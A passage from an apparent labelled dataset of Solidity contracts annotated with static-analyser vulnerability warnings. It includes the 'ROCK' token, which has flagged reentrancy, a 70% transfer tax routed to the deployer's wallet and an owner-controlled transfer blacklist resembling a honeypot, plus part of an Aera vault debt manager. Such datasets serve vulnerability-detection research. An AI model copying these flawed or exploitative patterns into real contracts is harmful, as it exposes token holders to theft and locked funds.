that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: abf5934): ROCK._reduceBuyTaxAt should be constant \n\t// Recommendation for abf5934: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b62c02): ROCK._reduceSellTaxAt should be constant \n\t// Recommendation for 4b62c02: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 317248d): ROCK._preventSwapBefore should be constant \n\t// Recommendation for 317248d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"The Rock\";\n\n string private constant _symbol = unicode\"ROCK\";\n\n\t// divide-before-multiply | ID: 08d7cfe\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: e1d739e\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 23bb6d3): ROCK._taxSwapThreshold should be constant \n\t// Recommendation for 23bb6d3: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: bcbf504\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: ad34b2a): ROCK._maxTaxSwap should be constant \n\t// Recommendation for ad34b2a: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 2f2e497\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5237048): ROCK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5237048: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 776ba11): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 776ba11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5f67d4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5f67d4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 776ba11\n\t\t// reentrancy-benign | ID: 5f67d4f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 776ba11\n\t\t// reentrancy-benign | ID: 5f67d4f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 650e71b): ROCK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 650e71b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5f67d4f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 776ba11\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ac98ac6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ac98ac6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cef23a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cef23a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ac98ac6\n\t\t\t\t// reentrancy-eth | ID: cef23a9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ac98ac6\n\t\t\t\t\t// reentrancy-eth | ID: cef23a9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cef23a9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cef23a9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cef23a9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ac98ac6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cef23a9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cef23a9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ac98ac6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ac98ac6\n\t\t// reentrancy-events | ID: 776ba11\n\t\t// reentrancy-benign | ID: 5f67d4f\n\t\t// reentrancy-eth | ID: cef23a9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f2d5d47): ROCK.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f2d5d47: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ac98ac6\n\t\t// reentrancy-events | ID: 776ba11\n\t\t// reentrancy-eth | ID: cef23a9\n\t\t// arbitrary-send-eth | ID: f2d5d47\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ccc10cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ccc10cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 53dac8e): ROCK.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 53dac8e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3d6e6f4): ROCK.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3d6e6f4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1d87707): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1d87707: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ccc10cf\n\t\t// reentrancy-eth | ID: 1d87707\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ccc10cf\n\t\t// unused-return | ID: 53dac8e\n\t\t// reentrancy-eth | ID: 1d87707\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ccc10cf\n\t\t// unused-return | ID: 3d6e6f4\n\t\t// reentrancy-eth | ID: 1d87707\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ccc10cf\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1d87707\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10803.sol",
"size_bytes": 21946,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: AGPL-v3.0\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface AggregatorInterface {\n function latestAnswer() external view returns (int256);\n\n function latestTimestamp() external view returns (uint256);\n\n function latestRound() external view returns (uint256);\n\n function getAnswer(uint256 roundId) external view returns (int256);\n\n function getTimestamp(uint256 roundId) external view returns (uint256);\n\n event AnswerUpdated(\n int256 indexed current,\n uint256 indexed roundId,\n uint256 updatedAt\n );\n\n event NewRound(\n uint256 indexed roundId,\n address indexed startedBy,\n uint256 startedAt\n );\n}\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(\n uint80 _roundId\n )\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n\ninterface AggregatorV2V3Interface is\n AggregatorInterface,\n AggregatorV3Interface\n{}\n\ninterface IAssetRegistry {\n struct AssetInformation {\n IERC20 asset;\n uint256 heartbeat;\n bool isERC4626;\n AggregatorV2V3Interface oracle;\n }\n\n struct AssetPriceReading {\n IERC20 asset;\n uint256 spotPrice;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 824f7cc): IAssetRegistry.vault().vault shadows IAssetRegistry.vault() (function)\n\t// Recommendation for 824f7cc: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 824f7cc): IAssetRegistry.vault().vault shadows IAssetRegistry.vault() (function)\n\t// Recommendation for 824f7cc: Rename the local variables that shadow another component.\n function vault() external view returns (address vault);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 13396f7): IAssetRegistry.assets().assets shadows IAssetRegistry.assets() (function)\n\t// Recommendation for 13396f7: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 13396f7): IAssetRegistry.assets().assets shadows IAssetRegistry.assets() (function)\n\t// Recommendation for 13396f7: Rename the local variables that shadow another component.\n function assets() external view returns (AssetInformation[] memory assets);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02612c6): IAssetRegistry.feeToken().feeToken shadows IAssetRegistry.feeToken() (function)\n\t// Recommendation for 02612c6: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02612c6): IAssetRegistry.feeToken().feeToken shadows IAssetRegistry.feeToken() (function)\n\t// Recommendation for 02612c6: Rename the local variables that shadow another component.\n function feeToken() external view returns (IERC20 feeToken);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a3278c): IAssetRegistry.numeraireToken().numeraireToken shadows IAssetRegistry.numeraireToken() (function)\n\t// Recommendation for 3a3278c: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a3278c): IAssetRegistry.numeraireToken().numeraireToken shadows IAssetRegistry.numeraireToken() (function)\n\t// Recommendation for 3a3278c: Rename the local variables that shadow another component.\n function numeraireToken() external view returns (IERC20 numeraireToken);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e8098e): IAssetRegistry.spotPrices().spotPrices shadows IAssetRegistry.spotPrices() (function)\n\t// Recommendation for 3e8098e: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e8098e): IAssetRegistry.spotPrices().spotPrices shadows IAssetRegistry.spotPrices() (function)\n\t// Recommendation for 3e8098e: Rename the local variables that shadow another component.\n function spotPrices()\n external\n view\n returns (AssetPriceReading[] memory spotPrices);\n}\n\nstruct AssetValue {\n IERC20 asset;\n uint256 value;\n}\n\nstruct Operation {\n address target;\n uint256 value;\n bytes data;\n}\n\ninterface IVaultEvents {\n event Deposit(address indexed owner, IERC20 indexed asset, uint256 amount);\n\n event Withdraw(address indexed owner, IERC20 indexed asset, uint256 amount);\n\n event SetGuardianAndFeeRecipient(\n address indexed guardian,\n address indexed feeRecipient\n );\n\n event SetAssetRegistry(address assetRegistry);\n\n event SetHooks(address hooks);\n\n event Executed(address indexed owner, Operation operation);\n\n event Finalized(address indexed owner, AssetValue[] withdrawnAmounts);\n\n event Submitted(address indexed guardian, Operation[] operations);\n\n event Claimed(\n address indexed feeRecipient,\n uint256 claimedFee,\n uint256 unclaimedFee,\n uint256 feeTotal\n );\n\n event FeesReserved(\n address indexed feeRecipient,\n uint256 newFee,\n uint256 lastFeeCheckpoint,\n uint256 lastValue,\n uint256 lastFeeTokenPrice,\n uint256 feeTotal\n );\n\n event NoFeesReserved(\n uint256 lastFeeCheckpoint,\n uint256 lastValue,\n uint256 feeTotal\n );\n\n event SpotPricesReverted(bytes reason);\n}\n\ninterface IHooks {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a9e22d0): IHooks.vault().vault shadows IHooks.vault() (function)\n\t// Recommendation for a9e22d0: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a9e22d0): IHooks.vault().vault shadows IHooks.vault() (function)\n\t// Recommendation for a9e22d0: Rename the local variables that shadow another component.\n function vault() external view returns (address vault);\n\n function beforeDeposit(AssetValue[] memory amounts) external;\n\n function afterDeposit(AssetValue[] memory amounts) external;\n\n function beforeWithdraw(AssetValue[] memory amounts) external;\n\n function afterWithdraw(AssetValue[] memory amounts) external;\n\n function beforeSubmit(Operation[] memory operations) external;\n\n function afterSubmit(Operation[] memory operations) external;\n\n function beforeFinalize() external;\n\n function afterFinalize() external;\n\n function decommission() external;\n}\n\ninterface IAeraVault is IVaultEvents {\n error Aera__AssetRegistryIsZeroAddress();\n\n error Aera__AssetRegistryIsNotValid(address assetRegistry);\n\n error Aera__AssetRegistryHasInvalidVault();\n\n error Aera__HooksIsZeroAddress();\n\n error Aera__HooksIsNotValid(address hooks);\n\n error Aera__HooksHasInvalidVault();\n\n error Aera__GuardianIsZeroAddress();\n\n error Aera__GuardianIsOwner();\n\n error Aera__InitialOwnerIsZeroAddress();\n\n error Aera__FeeRecipientIsZeroAddress();\n\n error Aera__ExecuteTargetIsHooksAddress();\n\n error Aera__ExecuteTargetIsVaultAddress();\n\n error Aera__SubmitTransfersAssetFromOwner();\n\n error Aera__SubmitRedeemERC4626AssetFromOwner();\n\n error Aera__SubmitTargetIsVaultAddress();\n\n error Aera__SubmitTargetIsHooksAddress(uint256 index);\n\n error Aera__FeeRecipientIsOwner();\n\n error Aera__FeeIsAboveMax(uint256 actual, uint256 max);\n\n error Aera__CallerIsNotOwnerAndGuardian();\n\n error Aera__CallerIsNotGuardian();\n\n error Aera__AssetIsNotRegistered(IERC20 asset);\n\n error Aera__AmountExceedsAvailable(\n IERC20 asset,\n uint256 amount,\n uint256 available\n );\n\n error Aera__ExecutionFailed(bytes result);\n\n error Aera__VaultIsFinalized();\n\n error Aera__SubmissionFailed(uint256 index, bytes result);\n\n error Aera__CannotUseReservedFees();\n\n error Aera__SpotPricesReverted();\n\n error Aera__AmountsOrderIsIncorrect(uint256 index);\n\n error Aera__NoAvailableFeesForCaller(address caller);\n\n error Aera__NoClaimableFeesForCaller(address caller);\n\n error Aera__NotWrappedNativeTokenContract();\n\n error Aera__CannotRenounceOwnership();\n\n function deposit(AssetValue[] memory amounts) external;\n\n function withdraw(AssetValue[] memory amounts) external;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23806e8): IAeraVault.setGuardianAndFeeRecipient(address,address).guardian shadows IAeraVault.guardian() (function)\n\t// Recommendation for 23806e8: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6fa3563): IAeraVault.setGuardianAndFeeRecipient(address,address).feeRecipient shadows IAeraVault.feeRecipient() (function)\n\t// Recommendation for 6fa3563: Rename the local variables that shadow another component.\n function setGuardianAndFeeRecipient(\n address guardian,\n address feeRecipient\n ) external;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7841be3): IAeraVault.setHooks(address).hooks shadows IAeraVault.hooks() (function)\n\t// Recommendation for 7841be3: Rename the local variables that shadow another component.\n function setHooks(address hooks) external;\n\n function execute(Operation memory operation) external;\n\n function finalize() external;\n\n function pause() external;\n\n function resume() external;\n\n function submit(Operation[] memory operations) external;\n\n function claim() external;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0782513): IAeraVault.guardian().guardian shadows IAeraVault.guardian() (function)\n\t// Recommendation for 0782513: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0782513): IAeraVault.guardian().guardian shadows IAeraVault.guardian() (function)\n\t// Recommendation for 0782513: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23806e8): IAeraVault.setGuardianAndFeeRecipient(address,address).guardian shadows IAeraVault.guardian() (function)\n\t// Recommendation for 23806e8: Rename the local variables that shadow another component.\n function guardian() external view returns (address guardian);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4091a95): IAeraVault.feeRecipient().feeRecipient shadows IAeraVault.feeRecipient() (function)\n\t// Recommendation for 4091a95: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4091a95): IAeraVault.feeRecipient().feeRecipient shadows IAeraVault.feeRecipient() (function)\n\t// Recommendation for 4091a95: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6fa3563): IAeraVault.setGuardianAndFeeRecipient(address,address).feeRecipient shadows IAeraVault.feeRecipient() (function)\n\t// Recommendation for 6fa3563: Rename the local variables that shadow another component.\n function feeRecipient() external view returns (address feeRecipient);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4db0167): IAeraVault.assetRegistry().assetRegistry shadows IAeraVault.assetRegistry() (function)\n\t// Recommendation for 4db0167: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4db0167): IAeraVault.assetRegistry().assetRegistry shadows IAeraVault.assetRegistry() (function)\n\t// Recommendation for 4db0167: Rename the local variables that shadow another component.\n function assetRegistry()\n external\n view\n returns (IAssetRegistry assetRegistry);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 295ebaf): IAeraVault.hooks().hooks shadows IAeraVault.hooks() (function)\n\t// Recommendation for 295ebaf: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 295ebaf): IAeraVault.hooks().hooks shadows IAeraVault.hooks() (function)\n\t// Recommendation for 295ebaf: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7841be3): IAeraVault.setHooks(address).hooks shadows IAeraVault.hooks() (function)\n\t// Recommendation for 7841be3: Rename the local variables that shadow another component.\n function hooks() external view returns (IHooks hooks);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5b7edaa): IAeraVault.fee().fee shadows IAeraVault.fee() (function)\n\t// Recommendation for 5b7edaa: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5b7edaa): IAeraVault.fee().fee shadows IAeraVault.fee() (function)\n\t// Recommendation for 5b7edaa: Rename the local variables that shadow another component.\n function fee() external view returns (uint256 fee);\n\n function holdings()\n external\n view\n returns (AssetValue[] memory assetAmounts);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dd3acf7): IAeraVault.value().value shadows IAeraVault.value() (function)\n\t// Recommendation for dd3acf7: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dd3acf7): IAeraVault.value().value shadows IAeraVault.value() (function)\n\t// Recommendation for dd3acf7: Rename the local variables that shadow another component.\n function value() external view returns (uint256 value);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b39b91): IAeraVault.feeTotal().feeTotal shadows IAeraVault.feeTotal() (function)\n\t// Recommendation for 0b39b91: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0b39b91): IAeraVault.feeTotal().feeTotal shadows IAeraVault.feeTotal() (function)\n\t// Recommendation for 0b39b91: Rename the local variables that shadow another component.\n function feeTotal() external view returns (uint256 feeTotal);\n}\n\ninterface IAeraStrategy {\n function vaultAera() external view returns (address);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IERC4626 is IERC20, IERC20Metadata {\n event Deposit(\n address indexed sender,\n address indexed owner,\n uint256 assets,\n uint256 shares\n );\n\n event Withdraw(\n address indexed sender,\n address indexed receiver,\n address indexed owner,\n uint256 assets,\n uint256 shares\n );\n\n function asset() external view returns (address assetTokenAddress);\n\n function totalAssets() external view returns (uint256 totalManagedAssets);\n\n function convertToShares(\n uint256 assets\n ) external view returns (uint256 shares);\n\n function convertToAssets(\n uint256 shares\n ) external view returns (uint256 assets);\n\n function maxDeposit(\n address receiver\n ) external view returns (uint256 maxAssets);\n\n function previewDeposit(\n uint256 assets\n ) external view returns (uint256 shares);\n\n function deposit(\n uint256 assets,\n address receiver\n ) external returns (uint256 shares);\n\n function maxMint(\n address receiver\n ) external view returns (uint256 maxShares);\n\n function previewMint(uint256 shares) external view returns (uint256 assets);\n\n function mint(\n uint256 shares,\n address receiver\n ) external returns (uint256 assets);\n\n function maxWithdraw(\n address owner\n ) external view returns (uint256 maxAssets);\n\n function previewWithdraw(\n uint256 assets\n ) external view returns (uint256 shares);\n\n function withdraw(\n uint256 assets,\n address receiver,\n address owner\n ) external returns (uint256 shares);\n\n function maxRedeem(address owner) external view returns (uint256 maxShares);\n\n function previewRedeem(\n uint256 shares\n ) external view returns (uint256 assets);\n\n function redeem(\n uint256 shares,\n address receiver,\n address owner\n ) external returns (uint256 assets);\n}\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 980a934): Contract with a 'payable' function, but without a withdrawal capacity.\n// Recommendation for 980a934: Remove the 'payable' attribute or add a withdraw function.\ncontract AeraVaultDebtManager is Ownable {\n struct StrategyAllocation {\n address strategy;\n uint256 debt;\n }\n\n event SetManualAllocator(address allocator);\n\n event AddStrategy(address strategy);\n\n event RemoveStrategy(address strategy);\n\n error AG_NOT_MANUAL_ALLOCATOR();\n\n error AG_CALLER_NOT_ADMIN();\n\n error AG_INVALID_ALLOCATION();\n\n address public immutable vault;\n\n address[] private _strategies;\n\n mapping(address => bool) public strategyAvails;\n\n address public manualAllocator;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1b54eed): AeraVaultDebtManager.constructor(address)._vault lacks 